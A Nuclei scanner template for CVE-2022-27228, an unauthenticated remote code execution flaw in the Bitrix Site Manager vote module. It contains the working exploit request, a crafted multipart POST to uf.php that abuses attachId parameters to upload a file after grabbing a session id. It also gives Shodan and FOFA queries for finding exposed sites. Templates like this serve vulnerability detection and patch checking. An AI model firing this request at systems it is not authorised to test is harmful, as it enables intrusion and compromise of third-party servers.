id: CVE-2022-27228

info:
  name: Bitrix Site Manager - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: In the vote (aka "Polls, Votes") module before 21.0.100 of Bitrix Site Manager, a remote unauthenticated attacker can execute arbitrary code.
  impact: Unauthenticated attackers can execute arbitrary code remotely, potentially leading to full system compromise.
  remediation: Update to version 21.0.100 or later.
  reference:
    - https://alt3r.eg0.ru/p0c5/attacking_bitrix.pdf
    - https://pentestnotes.ru/notes/bitrix_pentest_full/#rce-vote_agentphp-cve-2022-27228
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27228
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-27228
    cwe-id: CWE-20
    epss-score: 0.92388
    epss-percentile: 0.9974
    cpe: cpe:2.3:a:bitrix24:bitrix24:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    vendor: bitrix24
    product: bitrix24
    shodan-query: "/bitrix/p3p.xml"
    fofa-query: body="/bitrix/"
  tags: cve,cve2022,bitrix,file-upload,rce,intrusive,vkev

variables:
  filename: "{{to_lower(rand_text_alpha(5))}}"
  marker: "{{randstr}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /bitrix/admin/ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'bitrix_sessid')"
        internal: true

    extractors:
      - type: regex
        group: 1
        name: session_id
        regex:
          - "'bitrix_sessid':'(.*?)'"
        internal: true

  - raw:
      - |
        POST /bitrix/tools/vote/uf.php?attachId[ENTITY_TYPE]=CFileUploader&attachId[ENTITY_ID][events][onFileIsStarted][]=CAllAgent&attachId[ENTITY_ID][events][onFileIsStarted][]=Update&attachId[MODULE_ID]=vote&action=vote HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxx

        -----------------------------xxxxxxxxxxxx
        Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]"

        {{filename}}.txt
        -----------------------------xxxxxxxxxxxx
        Content-Disposition: form-data; name="bxu_files[bitrix50][NAME]";filename="{{filename}}.jpg"
        Content-Type: image/jpeg

        {{marker}}
        -----------------------------xxxxxxxxxxxx
        Content-Disposition: form-data; name="bxu_info[packageIndex]"

        pIndex101
        -----------------------------xxxxxxxxxxxx
        Content-Disposition: form-data; name="bxu_info[mode]"

        upload
        -----------------------------xxxxxxxxxxxx
        Content-Disposition: form-data; name="sessid"

        {{session_id}}
        -----------------------------xxxxxxxxxxxx
        Content-Disposition: form-data; name="bxu_info[filesCount]"

        1
        -----------------------------xxxxxxxxxxxx--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "\"status\":\"done\"")'
        condition: and
# digest: 490a00463044022046a9a46a0be54016e57a32e7f137f11ec3546a525635675715cfaef6df6f7d8702207302372eba7dd301515e8a76f590033e6be38e7c0e77aab7bf748a8902fc7c9e:922c64590222798bb761d5b6d8e72950